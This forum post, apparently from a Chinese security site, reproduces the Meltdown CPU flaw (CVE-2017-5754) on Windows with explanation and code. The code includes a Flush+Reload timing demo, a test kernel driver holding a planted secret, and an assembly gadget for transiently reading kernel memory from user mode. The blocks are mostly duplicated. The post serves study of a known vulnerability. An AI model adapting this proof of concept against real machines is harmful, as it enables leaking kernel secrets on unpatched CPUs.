首页
社区
课程
招聘
[原创]CVE-2017-5754 Meltdown 复现
发表于: 2023-1-27 23:14 11766

[原创]CVE-2017-5754 Meltdown 复现

2023-1-27 23:14
11766

视频讲解
GitHub代码

页表条目中有一个 U/S 位,内核空间的地址会将这个位设置为 0,所以只有当 CPU 切换到内核模式时,这些内存才能被访问,应用程序访问这些地址会产生异常。

这个机制让操作系统将内核和应用程序隔离开来,因而系统能将内核映射到进程的虚拟地址空间,在保证数据安全的情况下,提高系统调用的效率。

但是 Meltdown 漏洞熔化了硬件机制所规定的安全边界,让用户程序得以访问到映射到内核空间的数据,U/S 位没有起作用。这破坏了我们之前对于 CPU 的基本假设,本来安全的操作系统变得不再安全。

图片描述

Flush+Reload 不是 Meltdown,也不是 Meltdown 的成果,是一种比较好实现的利用 Meltdown 的方法。

当程序来到第 20 行,读取了非法内存地址,在触发异常之前的这一小段时间,后续的指令可能会被乱序执行。

乱序执行的时候 probe_array 的数据可能已经从内存取出,更新到缓存中了。访问已经缓存的数据要比直接访问内存快得多,所以我们可以通过判断访问数据的时间,探测指定地址的内存是否已经被缓存了。

图片描述

用一句话概括 Meltdown:在乱序执行时,有些 CPU 忘记检查 U/S 位了,导致数据被读取了,虽然操作会被撤销,但数据会被缓存,产生了副作用,可利用 Flush+Reload 等方法利用这个副作用探测到内核的数据。

编写一个驱动,在内核中申请一片内存,存放秘密数据,用来给 ring3 用 Meltdown 盗取。驱动还启动了一个线程,不断读写这片内存,迫使 CPU 缓存这些数据,提高盗取的成功率。

ring3 利用 Meltdown 的核心函数是 void OutOfOrderExecution(void* target, void* probe_array, void* null);

使用方法是

调用后 probe_array 中的一些行会被缓存,统计每一行的访问时间,即可探测出一个位的数据。完整代码如下:

 
 
 
 
#include <stdio.h>
#include <excpt.h>
#include <intrin.h>
#include <stdint.h>
 
uint8_t probe_array[256][4096]; // 探针数组
uint64_t access_time[256];      // 记录访问时间
 
int
main()
{
    uint8_t secret = 42;
    uint8_t* p = &secret;
 
    for (size_t i = 0; i < 256; i++)
        _mm_clflush(&probe_array[i]);
 
    __try
    {
        *(uint32_t*)NULL = 0;
        probe_array[*p][0]++;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {}
 
    for (size_t i = 0; i < 256; i++)
    {
        uint32_t aux;
        uint64_t a = __rdtscp(&aux);
        probe_array[i][0]++;
        uint64_t b = __rdtscp(&aux);
        access_time[i] = b - a;
    }
 
    for (size_t i = 0; i < 256; i++)
        printf("%llu,", access_time[i]);
}
#include <stdio.h>
#include <excpt.h>
#include <intrin.h>
#include <stdint.h>
 
uint8_t probe_array[256][4096]; // 探针数组
uint64_t access_time[256];      // 记录访问时间
 
int
main()
{
    uint8_t secret = 42;
    uint8_t* p = &secret;
 
    for (size_t i = 0; i < 256; i++)
        _mm_clflush(&probe_array[i]);
 
    __try
    {
        *(uint32_t*)NULL = 0;
        probe_array[*p][0]++;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {}
 
    for (size_t i = 0; i < 256; i++)
    {
        uint32_t aux;
        uint64_t a = __rdtscp(&aux);
        probe_array[i][0]++;
        uint64_t b = __rdtscp(&aux);
        access_time[i] = b - a;
    }
 
    for (size_t i = 0; i < 256; i++)
        printf("%llu,", access_time[i]);
}
 
#include "win10.h"
#include "x64.h"
#include "secret.h"
 
PWSTR Secret;
HANDLE ThreadHandle;
BOOLEAN ThreadStopFlag = FALSE;
 
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("再见! %wZ\n", &DriverObject->DriverName);
    ThreadStopFlag = TRUE;
    ZwWaitForSingleObject(ThreadHandle, FALSE, NULL);
    ZwClose(ThreadHandle);
    ExFreePool(Secret);
}
 
VOID
StartRoutine(PVOID StartContext)
{
    UNREFERENCED_PARAMETER(StartContext);
 
    KeSetSystemAffinityThread(1);
 
    UINT32 Junk = 0;
    size_t SecretLength = wcslen(Secret);
    LARGE_INTEGER Inteval = { .QuadPart = -10000 };
 
    while (!ThreadStopFlag)
    {
        for (size_t i = 0; i < SecretLength; i++)
        {
            Junk ^= Secret[i];
            Junk++;
            KeDelayExecutionThread(KernelMode, FALSE, &Inteval);
        }
    }
 
    PsTerminateSystemThread(STATUS_SUCCESS);
}
 
NTSTATUS
DriverEntry(PDRIVER_OBJECT  DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);
 
    DbgPrint("你好! %wZ\n", &DriverObject->DriverName);
    DriverObject->DriverUnload = DriverUnload;
 
    Secret = ExAllocatePool2(POOL_FLAG_NON_PAGED, 4096, 'xxxx');
    if (!Secret) return STATUS_MEMORY_NOT_ALLOCATED;
 
    wcscpy(Secret, SecretData);
 
    NTSTATUS Status = PsCreateSystemThread(&ThreadHandle,
        0, NULL, NULL, NULL,
        StartRoutine, NULL
    );
 
    if (!NT_SUCCESS(Status))
    {
        ExFreePool(Secret);
        return Status;
    }
 
    DbgPrint("Secret @ %p\n", Secret);
 
    return STATUS_SUCCESS;
}
#include "win10.h"
#include "x64.h"
#include "secret.h"
 
PWSTR Secret;
HANDLE ThreadHandle;
BOOLEAN ThreadStopFlag = FALSE;
 
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("再见! %wZ\n", &DriverObject->DriverName);
    ThreadStopFlag = TRUE;
    ZwWaitForSingleObject(ThreadHandle, FALSE, NULL);
    ZwClose(ThreadHandle);
    ExFreePool(Secret);
}
 
VOID
StartRoutine(PVOID StartContext)
{
    UNREFERENCED_PARAMETER(StartContext);
 
    KeSetSystemAffinityThread(1);
 
    UINT32 Junk = 0;
    size_t SecretLength = wcslen(Secret);
    LARGE_INTEGER Inteval = { .QuadPart = -10000 };
 
    while (!ThreadStopFlag)
    {
        for (size_t i = 0; i < SecretLength; i++)
        {
            Junk ^= Secret[i];
            Junk++;
            KeDelayExecutionThread(KernelMode, FALSE, &Inteval);
        }
    }
 
    PsTerminateSystemThread(STATUS_SUCCESS);
}
 
NTSTATUS
DriverEntry(PDRIVER_OBJECT  DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);
 
    DbgPrint("你好! %wZ\n", &DriverObject->DriverName);
    DriverObject->DriverUnload = DriverUnload;
 
    Secret = ExAllocatePool2(POOL_FLAG_NON_PAGED, 4096, 'xxxx');
    if (!Secret) return STATUS_MEMORY_NOT_ALLOCATED;
 
    wcscpy(Secret, SecretData);
 
    NTSTATUS Status = PsCreateSystemThread(&ThreadHandle,
        0, NULL, NULL, NULL,
        StartRoutine, NULL
    );
 
    if (!NT_SUCCESS(Status))
    {
        ExFreePool(Secret);
        return Status;
    }
 
    DbgPrint("Secret @ %p\n", Secret);
 
    return STATUS_SUCCESS;
}
.CODE
 
OutOfOrderExecution PROC
    mov   r8,  qword ptr [r8]
    movzx rax, byte ptr [rcx]
    shl   rax, 12
    mov   al,  byte ptr [rdx + rax]
    ret
OutOfOrderExecution ENDP
 
END

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//